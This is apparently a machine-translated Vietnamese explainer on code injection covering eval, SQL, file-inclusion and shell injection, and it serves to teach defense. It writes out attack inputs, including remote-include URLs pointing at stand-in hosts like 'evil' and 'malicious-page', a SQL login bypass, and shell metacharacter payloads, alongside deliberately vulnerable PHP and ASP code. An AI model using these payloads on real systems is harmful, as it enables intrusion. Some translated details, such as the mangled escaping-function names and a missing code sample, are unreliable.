Cuộc tấn công này bao gồm một tập lệnh không xác thực đúng đầu vào của người dùng trong tham số trang. Người dùng từ xa có thể cung cấp một URL được tạo thủ công đặc biệt để chuyển mã tùy ý vào câu lệnh eval (), dẫn đến việc thực thi mã.
Lưu ý 1: Cuộc tấn công này sẽ thực thi mã với quyền tương tự như dịch vụ web mục tiêu, bao gồm các lệnh của hệ thống hoạt động.
Lưu ý 2: Đánh giá tiêm phổ biến trong các thủ tục xử lý / điều phối có thể muốn gọi một số lượng lớn các hàm hoặc đặt một số lượng lớn các biến.
Các yếu tố rủi ro
Các ví dụ Ví dụ 1 Trong ví dụ này, kẻ tấn công có thể kiểm soát tất cả hoặc một phần của chuỗi đầu vào được đưa vào một lệnh gọi hàm eval ()
$myvar = "varname"; $x = $_GET['arg']; eval("$myvar = $x;");
Đối số của “eval” sẽ được xử lý dưới dạng PHP, vì vậy các lệnh bổ sung có thể được thêm vào. Ví dụ: nếu “arg” được đặt thành “10; system (“/ bin / echo uh-oh”); ”, mã bổ sung được chạy để thực thi một chương trình trên máy chủ, trong trường hợp này là“ / bin / echo ”.
Ví dụ 2 Sau đây là một ví dụ về SQL Injection. Hãy xem xét một trang web có hai trường để cho phép người dùng nhập Tên người dùng và Mật khẩu. Mã đằng sau trang sẽ tạo một truy vấn SQL để kiểm tra Mật khẩu so với danh sách Tên người dùng:
SELECT UserList.Username FROM UserList WHERE UserList.Username = ‘Username’ AND UserList.Password = ‘Password’
Nếu truy vấn này trả về chính xác một hàng thì quyền truy cập được cấp. Tuy nhiên, nếu người dùng độc hại nhập Tên người dùng hợp lệ và nhập một số mã hợp lệ (“’ OR 1 = 1 ”) vào trường Mật khẩu, thì truy vấn kết quả sẽ giống như sau:
SELECT UserList.Username FROM UserList WHERE UserList.Username = ‘Username’ AND UserList.Password = ‘Password’ OR ‘1’ = ’1’
Trong ví dụ trên, “Password” được cho là trống hoặc một số chuỗi vô hại. “1 = 1” sẽ luôn đúng và nhiều hàng sẽ được trả về, do đó cho phép truy cập. Dấu phẩy đảo ngược cuối cùng sẽ bị bộ phân tích cú pháp SQL bỏ qua. Kỹ thuật này có thể được tinh chỉnh để cho phép chạy nhiều câu lệnh, hoặc thậm chí để tải lên và chạy các chương trình bên ngoài.
Ví dụ 3 Đây là một ví dụ về một tệp đã được đưa vào. Hãy xem xét chương trình PHP này (bao gồm một tệp được chỉ định theo yêu cầu):
<?php $color = 'blue'; if ( isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR']; require( $color . '.php' ); ?>
Nhà phát triển nghĩ rằng điều này sẽ đảm bảo rằng chỉ blue.php và red.php có thể được tải. Nhưng vì bất kỳ ai cũng có thể dễ dàng chèn các giá trị tùy ý trong COLOR, nên có thể chèn mã từ các tệp:
- /vulnerable.php?COLOR=http://evil/exploit – đưa vào một tệp được lưu trữ từ xa có chứa khai thác.
- /vulnerable.php?COLOR=C:\ftp\upload\exploit – đưa vào một tệp đã tải lên có chứa một khai thác.
- /vulnerable.php?COLOR=……..\ftp\upload\exploit – đưa vào một tệp đã tải lên có chứa một khai thác, bằng cách sử dụng Path Traversal.
- /vulnerable.php?COLOR=C:\notes.txt%00 – ví dụ sử dụng ký tự Null, ký tự Meta để loại bỏ hậu tố .php, cho phép truy cập vào các tệp khác ngoài .php. (Cài đặt PHP “magic_quotes_gpc = On”, là cài đặt mặc định, sẽ ngăn cuộc tấn công này)
Ví dụ 4 Một URL đơn giản minh họa cách thực hiện cuộc tấn công này:
http://some-page/any-dir/index.php?page=<?include($s);?>&s=http://malicious-page/cmd.txt?
Ví dụ 5 Shell Injection áp dụng cho hầu hết các hệ thống cho phép phần mềm thực thi một dòng Lệnh theo chương trình. Các nguồn điển hình của Shell Injection là các cuộc gọi system (), StartProcess (), java.lang.Runtime.exec () và các API tương tự.
Hãy xem xét chương trình PHP ngắn sau, chương trình này chạy một chương trình bên ngoài có tên là funnytext để thay thế một từ mà người dùng đã gửi bằng một số từ khác.
Chương trình này có thể được đưa vào theo nhiều cách: `lệnh` sẽ thực thi lệnh.
- $ (lệnh) sẽ thực hiện lệnh.
- ; lệnh sẽ thực hiện lệnh và xuất ra kết quả của lệnh.
- | lệnh sẽ thực hiện lệnh và xuất ra kết quả của lệnh.
- Lệnh && sẽ thực hiện lệnh và xuất ra kết quả của lệnh.
- || lệnh sẽ thực hiện lệnh và xuất ra kết quả của lệnh.
- > /home/user/phpguru/.bashrc sẽ ghi đè lên tệp .bashrc\
- </home/user/phpguru/.bashrc sẽ gửi tệp .bashrc làm đầu vào cho văn bản hài hước.
PHP cung cấp Escapepeshellarg () và Escapehellcmd () để thực hiện mã hóa trước khi gọi các phương thức. Tuy nhiên, không nên tin tưởng các phương pháp này là an toàn – cũng xác nhận / làm sạch đầu vào.
Ví dụ 6 Đoạn mã sau dễ bị chèn eval () vì nó không khử trùng đầu vào của người dùng (trong trường hợp này là: “tên người dùng”). Chương trình chỉ lưu đầu vào này trong một tệp txt, và sau đó máy chủ sẽ thực thi tệp này mà không cần bất kỳ xác thực nào. Trong trường hợp này, người dùng có thể chèn lệnh thay vì tên người dùng.
Ví dụ:
<% If not isEmpty(Request( "username" ) ) Then Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True) f.Write Request("username") & vbCrLf f.close Set f = nothing Set fso = Nothing %>